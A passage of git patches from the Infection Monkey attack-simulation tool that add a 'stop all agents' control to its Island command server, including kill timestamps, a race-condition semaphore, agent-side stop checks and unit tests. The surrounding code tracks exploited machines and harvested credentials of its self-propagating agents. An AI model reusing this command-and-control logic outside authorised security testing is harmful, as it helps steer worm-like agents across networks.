+++ b/monkey/monkey_island/cc/resources/root.py @@ -6,7 +6,7 @@ from flask import jsonify, make_response, request from monkey_island.cc.database import mongo from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.database import Database -from monkey_island.cc.services.infection_lifecycle import InfectionLifecycle +from monkey_island.cc.services.infection_lifecycle import get_completed_steps from monkey_island.cc.services.utils.network_utils import local_ip_addresses logger = logging.getLogger(__name__) @@ -21,8 +21,6 @@ class Root(flask_restful.Resource): return self.get_server_info() elif action == "reset": return jwt_required(Database.reset_db)() - elif action == "killall": - return jwt_required(InfectionLifecycle.kill_all)() elif action == "is-up": return {"is-up": True} else: @@ -33,5 +31,5 @@ class Root(flask_restful.Resource): return jsonify( ip_addresses=local_ip_addresses(), mongo=str(mongo.db), - completed_steps=InfectionLifecycle.get_completed_steps(), + completed_steps=get_completed_steps(), ) diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py index 027bd49e2..14f7296f4 100644 --- a/monkey/monkey_island/cc/services/database.py +++ b/monkey/monkey_island/cc/services/database.py @@ -4,6 +4,7 @@ from flask import jsonify from monkey_island.cc.database import mongo from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations +from monkey_island.cc.services.infection_lifecycle import init_agent_controls from monkey_island.cc.services.config import ConfigService logger = logging.getLogger(__name__) @@ -23,6 +24,7 @@ class Database(object): if not x.startswith("system.") and not x == AttackMitigations.COLLECTION_NAME ] ConfigService.init_config() + init_agent_controls() logger.info("DB was reset") return jsonify(status="OK") diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index 5529cc70d..55c9f79b9 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -1,9 +1,7 @@ import logging -from datetime import datetime -from flask import jsonify - -from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.agent_controls import AgentControls from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService @@ -16,42 +14,60 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor logger = logging.getLogger(__name__) -class InfectionLifecycle: - @staticmethod - def kill_all(): - mongo.db.monkey.update( - {"dead": False}, - {"$set": {"config.alive": False, "modifytime": datetime.now()}}, - upsert=False, - multi=True, - ) - logger.info("Kill all monkeys was called") - return jsonify(status="OK") +def set_stop_all(time: float): + for monkey in Monkey.objects(): + monkey.config.alive = False + monkey.save() + agent_controls = AgentControls.objects.first() + agent_controls.last_stop_all = time + agent_controls.save() - @staticmethod - def get_completed_steps(): - is_any_exists = NodeService.is_any_monkey_exists() - infection_done = NodeService.is_monkey_finished_running() - if infection_done: - InfectionLifecycle._on_finished_infection() - report_done = ReportService.is_report_generated() - else: # Infection is not done - report_done = False +def should_agent_die(guid: int) -> bool: + monkey = Monkey.objects(guid=str(guid)).first() + return _is_monkey_marked_dead(monkey) or _is_monkey_killed_manually(monkey) - return dict( - run_server=True, - run_monkey=is_any_exists, - infection_done=infection_done, - report_done=report_done, - ) - @staticmethod - def _on_finished_infection(): - # Checking is_report_being_generated here, because we don't want to wait to generate a - # report; rather, - # we want to skip and reply. - if not is_report_being_generated() and not ReportService.is_latest_report_exists(): - safe_generate_reports() - if ConfigService.is_test_telem_export_enabled() and not TestTelemStore.TELEMS_EXPORTED: - TestTelemStore.export_telems() +def _is_monkey_marked_dead(monkey: Monkey) -> bool: + return monkey.config.alive + + +def _is_monkey_killed_manually(monkey: Monkey) -> bool: + if monkey.has_parent(): + launch_timestamp = monkey.get_parent().launch_time + else: + launch_timestamp = monkey.launch_time + kill_timestamp = AgentControls.objects.first().last_stop_all + return int(kill_timestamp) >= int(launch_timestamp) + + +def init_agent_controls(): + AgentControls().save() + + +def get_completed_steps(): + is_any_exists = NodeService.is_any_monkey_exists() + infection_done = NodeService.is_monkey_finished_running() + + if infection_done: + _on_finished_infection() + report_done = ReportService.is_report_generated() + else: # Infection is not done + report_done = False + + return dict( + run_server=True, + run_monkey=is_any_exists, + infection_done=infection_done, + report_done=report_done, + ) + + +def _on_finished_infection(): + # Checking is_report_being_generated here, because we don't want to wait to generate a + # report; rather, + # we want to skip and reply. + if not is_report_being_generated() and not ReportService.is_latest_report_exists(): + safe_generate_reports() + if ConfigService.is_test_telem_export_enabled() and not TestTelemStore.TELEMS_EXPORTED: + TestTelemStore.export_telems() diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js index 9007194b0..81e1d3c9d 100644 --- a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js +++ b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js @@ -78,6 +78,7 @@ class PreviewPaneComponent extends AuthComponent { }); } + // TODO remove this forceKillRow(asset) { return ( diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js index 6026cebb6..8dcfe0ce6 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -84,9 +84,14 @@ class MapPageComponent extends AuthComponent { } killAllMonkeys = () => { - this.authFetch('/api?action=killall') + this.authFetch('/api/agent_control/stop-all-agents', + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({kill_time: Date.now()}) + }) .then(res => res.json()) - .then(res => this.setState({killPressed: (res.status === 'OK')})); + .then(res => {this.setState({killPressed: true}); console.log(res)}); }; renderKillDialogModal = () => { diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 20c130c33..7c9917984 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -3,6 +3,7 @@ Everything in this file is what Vulture found as dead code but either isn't real dead or is kept deliberately. Referencing these in a file like this makes sure that Vulture doesn't mark these as dead again. """ +from monkey_island.cc import app from monkey_island.cc.models import Report fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) @@ -100,6 +101,8 @@ EnvironmentCollector # unused class (monkey/infection_monkey/system_info/collec ProcessListCollector # unused class (monkey/infection_monkey/system_info/collectors/process_list_collector.py:18) _.coinit_flags # unused attribute (monkey/infection_monkey/system_info/windows_info_collector.py:11) _.representations # unused attribute (monkey/monkey_island/cc/app.py:180) +_.representations # unused attribute (monkey/monkey_island/cc/app.py:180) +app.url_map.strict_slashes _.log_message # unused method (monkey/infection_monkey/transport/http.py:188) _.log_message # unused method (monkey/infection_monkey/transport/http.py:109) _.version_string # unused method (monkey/infection_monkey/transport/http.py:148) From 6dfa34a13379dcbf59fb0cf7bf379fcc945a301f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 7 Dec 2021 12:26:14 +0200 Subject: [PATCH 0092/1110] Island: add the ability to check if monkey document has parent and retrieve it from the model --- monkey/monkey_island/cc/models/monkey.py | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 9fbf15eb2..778606151 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -21,6 +21,10 @@ from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURAT from monkey_island.cc.services.utils.network_utils import local_ip_addresses +class ParentNotFoundError(Exception): + """Raise when trying to get a parent of monkey that doesn't have one""" + + class Monkey(Document): """ This class has 2 main section: @@ -96,6 +100,18 @@ class Monkey(Document): monkey_is_dead = True return monkey_is_dead + def has_parent(self): + for p in self.parent: + if p[0] != self.guid: + return True + return False + + def get_parent(self): + if self.has_parent(): + Monkey.objects(guid=self.parent[0][0]).first() + else: + raise ParentNotFoundError + def get_os(self): os = "unknown" if self.description.lower().find("linux") != -1: From 31cdd29edb8d7661db9eadd549a4802042b0b7f2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 7 Dec 2021 12:30:31 +0200 Subject: [PATCH 0093/1110] Island: add "was monkey killed by user" endpoint Using this endpoint monkey can check if kill command was issues and if it should die --- .../resources/agent_controls/stop_all_agents.py | 16 ++++++++++------ .../cc/services/infection_lifecycle.py | 12 ++---------- 2 files changed, 12 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py b/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py index 8d9c558ad..8c91ac739 100644 --- a/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py +++ b/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py @@ -10,9 +10,13 @@ from monkey_island.cc.services.infection_lifecycle import set_stop_all class StopAllAgents(flask_restful.Resource): @jwt_required def post(self): - data = json.loads(request.data) - if data["kill_time"]: - set_stop_all(data["kill_time"]) - return make_response({}, 200) - else: - return make_response({}, 400) + with AGENT_KILLING_SEMAPHORE: + data = json.loads(request.data) + if data["kill_time"]: + set_stop_all(data["kill_time"]) + return make_response({}, 200) + else: + return make_response({}, 400) + + def get(self, monkey_guid): + return {"stop_agent": was_monkey_killed(monkey_guid)} diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index 55c9f79b9..ca6e36924 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -23,16 +23,8 @@ def set_stop_all(time: float): agent_controls.save() -def should_agent_die(guid: int) -> bool: - monkey = Monkey.objects(guid=str(guid)).first() - return _is_monkey_marked_dead(monkey) or _is_monkey_killed_manually(monkey) - - -def _is_monkey_marked_dead(monkey: Monkey) -> bool: - return monkey.config.alive - - -def _is_monkey_killed_manually(monkey: Monkey) -> bool: +def was_monkey_killed(guid: int) -> bool: + monkey = Monkey.objects(guid=guid).first() if monkey.has_parent(): launch_timestamp = monkey.get_parent().launch_time else: From e4280660dfdd9fc5a6b8ecb17d1ca6e8370feba5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 7 Dec 2021 12:45:49 +0200 Subject: [PATCH 0094/1110] Island: add semaphores to avoid race condition If user kills all monkeys during the waking up of a monkey, all monkeys will get flagged as dead except the one that just woke up --- .../agent_controls/stop_all_agents.py | 3 +- monkey/monkey_island/cc/resources/monkey.py | 190 +++++++++--------- .../cc/resources/utils/semaphores.py | 5 + 3 files changed, 106 insertions(+), 92 deletions(-) create mode 100644 monkey/monkey_island/cc/resources/utils/semaphores.py diff --git a/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py b/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py index 8c91ac739..d84ef2f8b 100644 --- a/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py +++ b/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py @@ -4,7 +4,8 @@ import flask_restful from flask import make_response, request from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.infection_lifecycle import set_stop_all +from monkey_island.cc.resources.utils.semaphores import AGENT_KILLING_SEMAPHORE +from monkey_island.cc.services.infection_lifecycle import set_stop_all, was_monkey_killed class StopAllAgents(flask_restful.Resource): diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 3853b58ed..ffae35fba 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -8,6 +8,7 @@ from flask import request from monkey_island.cc.database import mongo from monkey_island.cc.models.monkey_ttl import create_monkey_ttl_document from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore +from monkey_island.cc.resources.utils.semaphores import AGENT_KILLING_SEMAPHORE from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.edge import EdgeService @@ -66,97 +67,104 @@ class Monkey(flask_restful.Resource): # Called on monkey wakeup to initialize local configuration @TestTelemStore.store_exported_telem def post(self, **kw): - monkey_json = json.loads(request.data) - monkey_json["creds"] = [] - monkey_json["dead"] = False - if "keepalive" in monkey_json: - monkey_json["keepalive"] = dateutil.parser.parse(monkey_json["keepalive"]) - else: - monkey_json["keepalive"] = datetime.now() - - monkey_json["modifytime"] = datetime.now() - - ConfigService.save_initial_config_if_needed() - - # if new monkey telem, change config according to "new monkeys" config. - db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]}) - - # Update monkey configuration - new_config = ConfigService.get_flat_config(False, False) - monkey_json["config"] = monkey_json.get("config", {}) - monkey_json["config"].update(new_config) - - # try to find new monkey parent - parent = monkey_json.get("parent") - parent_to_add = (monkey_json.get("guid"), None) # default values in case of manual run - if parent and parent != monkey_json.get("guid"): # current parent is known - exploit_telem = [ - x - for x in mongo.db.telemetry.find( - { - "telem_category": {"$eq": "exploit"}, - "data.result": {"$eq": True}, - "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, - "monkey_guid": {"$eq": parent}, - } - ) - ] - if 1 == len(exploit_telem): - parent_to_add = ( - exploit_telem[0].get("monkey_guid"), - exploit_telem[0].get("data").get("exploiter"), - ) + with AGENT_KILLING_SEMAPHORE: + monkey_json = json.loads(request.data) + monkey_json["creds"] = [] + monkey_json["dead"] = False + if "keepalive" in monkey_json: + monkey_json["keepalive"] = dateutil.parser.parse(monkey_json["keepalive"]) else: - parent_to_add = (parent, None) - elif (not parent or parent == monkey_json.get("guid")) and "ip_addresses" in monkey_json: - exploit_telem = [ - x - for x in mongo.db.telemetry.find( - { - "telem_category": {"$eq": "exploit"}, - "data.result": {"$eq": True}, - "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, - } + monkey_json["keepalive"] = datetime.now() + + monkey_json["modifytime"] = datetime.now() + + ConfigService.save_initial_config_if_needed() + + # if new monkey telem, change config according to "new monkeys" config. + db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]}) + + # Update monkey configuration + new_config = ConfigService.get_flat_config(False, False) + monkey_json["config"] = monkey_json.get("config", {}) + monkey_json["config"].update(new_config) + + # try to find new monkey parent + parent = monkey_json.get("parent") + parent_to_add = (monkey_json.get("guid"), None) # default values in case of manual run + if parent and parent != monkey_json.get("guid"): # current parent is known + exploit_telem = [ + x + for x in mongo.db.telemetry.find( + { + "telem_category": {"$eq": "exploit"}, + "data.result": {"$eq": True}, + "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, + "monkey_guid": {"$eq": parent}, + } + ) + ] + if 1 == len(exploit_telem): + parent_to_add = ( + exploit_telem[0].get("monkey_guid"), + exploit_telem[0].get("data").get("exploiter"), + ) + else: + parent_to_add = (parent, None) + elif ( + not parent or parent == monkey_json.get("guid") + ) and "ip_addresses" in monkey_json: + exploit_telem = [ + x + for x in mongo.db.telemetry.find( + { + "telem_category": {"$eq": "exploit"}, + "data.result": {"$eq": True}, + "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, + } + ) + ] + + if 1 == len(exploit_telem): + parent_to_add = ( + exploit_telem[0].get("monkey_guid"), + exploit_telem[0].get("data").get("exploiter"), + ) + + if not db_monkey: + monkey_json["parent"] = [parent_to_add] + else: + monkey_json["parent"] = db_monkey.get("parent") + [parent_to_add] + + tunnel_host_ip = None + if "tunnel" in monkey_json: + tunnel_host_ip = monkey_json["tunnel"].split(":")[-2].replace("//", "") + monkey_json.pop("tunnel") + + ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS) + monkey_json["ttl_ref"] = ttl.id + + mongo.db.monkey.update( + {"guid": monkey_json["guid"]}, {"$set": monkey_json}, upsert=True + ) + + # Merge existing scanned node with new monkey + + new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"] + + if tunnel_host_ip is not None: + NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_ip) + + existing_node = mongo.db.node.find_one( + {"ip_addresses": {"$in": monkey_json["ip_addresses"]}} + ) + + if existing_node: + node_id = existing_node["_id"] + EdgeService.update_all_dst_nodes( + old_dst_node_id=node_id, new_dst_node_id=new_monkey_id ) - ] + for creds in existing_node["creds"]: + NodeService.add_credentials_to_monkey(new_monkey_id, creds) + mongo.db.node.remove({"_id": node_id}) - if 1 == len(exploit_telem): - parent_to_add = ( - exploit_telem[0].get("monkey_guid"), - exploit_telem[0].get("data").get("exploiter"), - ) - - if not db_monkey: - monkey_json["parent"] = [parent_to_add] - else: - monkey_json["parent"] = db_monkey.get("parent") + [parent_to_add] - - tunnel_host_ip = None - if "tunnel" in monkey_json: - tunnel_host_ip = monkey_json["tunnel"].split(":")[-2].replace("//", "") - monkey_json.pop("tunnel") - - ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS) - monkey_json["ttl_ref"] = ttl.id - - mongo.db.monkey.update({"guid": monkey_json["guid"]}, {"$set": monkey_json}, upsert=True) - - # Merge existing scanned node with new monkey - - new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"] - - if tunnel_host_ip is not None: - NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_ip) - - existing_node = mongo.db.node.find_one( - {"ip_addresses": {"$in": monkey_json["ip_addresses"]}} - ) - - if existing_node: - node_id = existing_node["_id"] - EdgeService.update_all_dst_nodes(old_dst_node_id=node_id, new_dst_node_id=new_monkey_id) - for creds in existing_node["creds"]: - NodeService.add_credentials_to_monkey(new_monkey_id, creds) - mongo.db.node.remove({"_id": node_id}) - - return {"id": new_monkey_id} + return {"id": new_monkey_id} diff --git a/monkey/monkey_island/cc/resources/utils/semaphores.py b/monkey/monkey_island/cc/resources/utils/semaphores.py new file mode 100644 index 000000000..97f36e441 --- /dev/null +++ b/monkey/monkey_island/cc/resources/utils/semaphores.py @@ -0,0 +1,5 @@ +from gevent.lock import BoundedSemaphore + +# Semaphore avoids race condition between monkeys +# being marked dead and monkey waking up as alive +AGENT_KILLING_SEMAPHORE = BoundedSemaphore() From ea621b49d144834eca5082e7b62d9050a9af7eab Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 7 Dec 2021 13:27:40 +0200 Subject: [PATCH 0095/1110] Agent: change agent startup to check if agent should run via control channel --- monkey/infection_monkey/monkey.py | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index e63484e70..a1a11b925 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -8,8 +8,9 @@ import time import infection_monkey.tunnel as tunnel from common.utils.attack_utils import ScanStatus, UsageEnum from common.version import get_version -from infection_monkey.config import WormConfiguration +from infection_monkey.config import GUID, WormConfiguration from infection_monkey.control import ControlClient +from infection_monkey.master.control_channel import ControlChannel from infection_monkey.master.mock_master import MockMaster from infection_monkey.model import DELAY_DELETE_CMD from infection_monkey.network.firewall import app as firewall @@ -73,9 +74,11 @@ class InfectionMonkey: if is_windows_os(): T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() - if InfectionMonkey._is_monkey_alive_by_config(): - logger.info("Monkey marked 'not alive' from configuration.") - return + # TODO move this function + should_stop = ControlChannel(WormConfiguration.current_server, GUID).should_agent_stop() + logger.info(f"Should monkey stop: {should_stop}") + if should_stop: + sys.exit(1) if InfectionMonkey._is_upgrade_to_64_needed(): self._upgrade_to_64() From 9031bfb8881f4c4698e296cad3926ee8e0cc97ac Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 7 Dec 2021 14:43:40 +0200 Subject: [PATCH 0096/1110] Island: append should agent die check to also check if monkey is marked dead in configuration --- .../monkey_island/cc/services/infection_lifecycle.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index ca6e36924..23207e982 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -23,8 +23,16 @@ def set_stop_all(time: float): agent_controls.save() -def was_monkey_killed(guid: int) -> bool: +def should_agent_die(guid: int) -> bool: monkey = Monkey.objects(guid=guid).first() + return _is_monkey_marked_dead(monkey) or _is_monkey_killed_manually() + + +def _is_monkey_marked_dead(monkey: Monkey) -> bool: + return monkey.config.alive + + +def _is_monkey_killed_manually(monkey: Monkey) -> bool: if monkey.has_parent(): launch_timestamp = monkey.get_parent().launch_time else: From bbd4dc57f473f10eae8865ef63dfe0744329dfc8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 7 Dec 2021 15:54:56 +0200 Subject: [PATCH 0097/1110] Island: remove unused resource binding --- monkey/monkey_island/cc/app.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index ea0556720..ce223bda4 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -133,7 +133,6 @@ def init_api_resources(api): ) api.add_resource(Bootloader, "/api/bootloader/") api.add_resource(LocalRun, "/api/local-monkey") - api.add_resource(StopAgentCheck, "/api/local-monkey") api.add_resource(ClientRun, "/api/client-monkey") api.add_resource(Telemetry, "/api/telemetry", "/api/telemetry/") From 11735b4f89cdc7d70ee05981f708e4099532ef8c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 8 Dec 2021 09:54:14 +0200 Subject: [PATCH 0098/1110] Island, Agent: small readability and logging improvements related to killing the agents --- monkey/infection_monkey/monkey.py | 5 ++--- monkey/monkey_island/cc/models/monkey.py | 2 +- monkey/monkey_island/cc/services/database.py | 8 ++++++-- monkey/monkey_island/cc/services/infection_lifecycle.py | 4 ---- 4 files changed, 9 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index a1a11b925..50b145cc0 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -74,11 +74,10 @@ class InfectionMonkey: if is_windows_os(): T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() - # TODO move this function should_stop = ControlChannel(WormConfiguration.current_server, GUID).should_agent_stop() - logger.info(f"Should monkey stop: {should_stop}") if should_stop: - sys.exit(1) + logger.info("The Monkey Island has instructed this agent to stop.") + return if InfectionMonkey._is_upgrade_to_64_needed(): self._upgrade_to_64() diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 778606151..8e7dccc98 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -110,7 +110,7 @@ class Monkey(Document): if self.has_parent(): Monkey.objects(guid=self.parent[0][0]).first() else: - raise ParentNotFoundError + raise ParentNotFoundError(f"No parent was found for agent with GUID {self.guid}") def get_os(self): os = "unknown" diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py index 14f7296f4..7aeb1bfcf 100644 --- a/monkey/monkey_island/cc/services/database.py +++ b/monkey/monkey_island/cc/services/database.py @@ -3,8 +3,8 @@ import logging from flask import jsonify from monkey_island.cc.database import mongo +from monkey_island.cc.models.agent_controls import AgentControls from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations -from monkey_island.cc.services.infection_lifecycle import init_agent_controls from monkey_island.cc.services.config import ConfigService logger = logging.getLogger(__name__) @@ -24,7 +24,7 @@ class Database(object): if not x.startswith("system.") and not x == AttackMitigations.COLLECTION_NAME ] ConfigService.init_config() - init_agent_controls() + Database.init_agent_controls() logger.info("DB was reset") return jsonify(status="OK") @@ -33,6 +33,10 @@ class Database(object): mongo.db[collection_name].drop() logger.info("Dropped collection {}".format(collection_name)) + @staticmethod + def init_agent_controls(): + AgentControls().save() + @staticmethod def is_mitigations_missing() -> bool: return bool(AttackMitigations.COLLECTION_NAME not in mongo.db.list_collection_names()) diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index 23207e982..25cb76c47 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -41,10 +41,6 @@ def _is_monkey_killed_manually(monkey: Monkey) -> bool: return int(kill_timestamp) >= int(launch_timestamp) -def init_agent_controls(): - AgentControls().save() - - def get_completed_steps(): is_any_exists = NodeService.is_any_monkey_exists() infection_done = NodeService.is_monkey_finished_running() From a567041fbad102a4a76dd94999c3fa7b147f58f6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 8 Dec 2021 10:14:46 +0200 Subject: [PATCH 0099/1110] Island, UI: bugfixes related to stopping of the agents --- monkey/monkey_island/cc/models/monkey.py | 2 +- .../cc/resources/agent_controls/stop_all_agents.py | 4 ++-- monkey/monkey_island/cc/services/infection_lifecycle.py | 6 +++--- monkey/monkey_island/cc/ui/src/components/pages/MapPage.js | 2 +- 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 8e7dccc98..af17e45a2 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -108,7 +108,7 @@ class Monkey(Document): def get_parent(self): if self.has_parent(): - Monkey.objects(guid=self.parent[0][0]).first() + return Monkey.objects(guid=self.parent[0][0]).first() else: raise ParentNotFoundError(f"No parent was found for agent with GUID {self.guid}") diff --git a/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py b/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py index d84ef2f8b..1b41f0cff 100644 --- a/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py +++ b/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py @@ -5,7 +5,7 @@ from flask import make_response, request from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.resources.utils.semaphores import AGENT_KILLING_SEMAPHORE -from monkey_island.cc.services.infection_lifecycle import set_stop_all, was_monkey_killed +from monkey_island.cc.services.infection_lifecycle import set_stop_all, should_agent_die class StopAllAgents(flask_restful.Resource): @@ -20,4 +20,4 @@ class StopAllAgents(flask_restful.Resource): return make_response({}, 400) def get(self, monkey_guid): - return {"stop_agent": was_monkey_killed(monkey_guid)} + return {"stop_agent": should_agent_die(monkey_guid)} diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index 25cb76c47..e766d2e14 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -24,12 +24,12 @@ def set_stop_all(time: float): def should_agent_die(guid: int) -> bool: - monkey = Monkey.objects(guid=guid).first() - return _is_monkey_marked_dead(monkey) or _is_monkey_killed_manually() + monkey = Monkey.objects(guid=str(guid)).first() + return _is_monkey_marked_dead(monkey) or _is_monkey_killed_manually(monkey) def _is_monkey_marked_dead(monkey: Monkey) -> bool: - return monkey.config.alive + return not monkey.config.alive def _is_monkey_killed_manually(monkey: Monkey) -> bool: diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js index 8dcfe0ce6..3c1350f58 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -84,7 +84,7 @@ class MapPageComponent extends AuthComponent { } killAllMonkeys = () => { - this.authFetch('/api/agent_control/stop-all-agents', + this.authFetch('/api/monkey_control/stop-all-agents', { method: 'POST', headers: {'Content-Type': 'application/json'}, From 1a583ec0354d8354f8a13d6c3164ab973b6eeef1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 8 Dec 2021 10:16:05 +0200 Subject: [PATCH 0100/1110] Agent: remove the "is_monkey_alive_by_configuration" check Should monkey be alive is now checked on island. Island checks both, the config and whether the user killed it manually --- monkey/infection_monkey/monkey.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 50b145cc0..d6da3390d 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -128,10 +128,6 @@ class InfectionMonkey: logger.debug("default server set to: %s" % self._opts.server) return True - @staticmethod - def _is_monkey_alive_by_config(): - return not WormConfiguration.alive - @staticmethod def _is_upgrade_to_64_needed(): return WindowsUpgrader.should_upgrade() From 492334fbd06a1d198e5471ba516c0be3aca7d2d5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 8 Dec 2021 14:03:22 +0200 Subject: [PATCH 0101/1110] UT: add unit tests for monkey killing and monkey parent fetching --- .../monkey_island/cc/models/test_monkey.py | 34 +++++- .../cc/services/test_infection_lifecycle.py | 101 ++++++++++++++++++ 2 files changed, 134 insertions(+), 1 deletion(-) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/test_infection_lifecycle.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/test_monkey.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_monkey.py index f5a00e5e7..e25871378 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/test_monkey.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/test_monkey.py @@ -3,7 +3,7 @@ import uuid import pytest -from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError +from 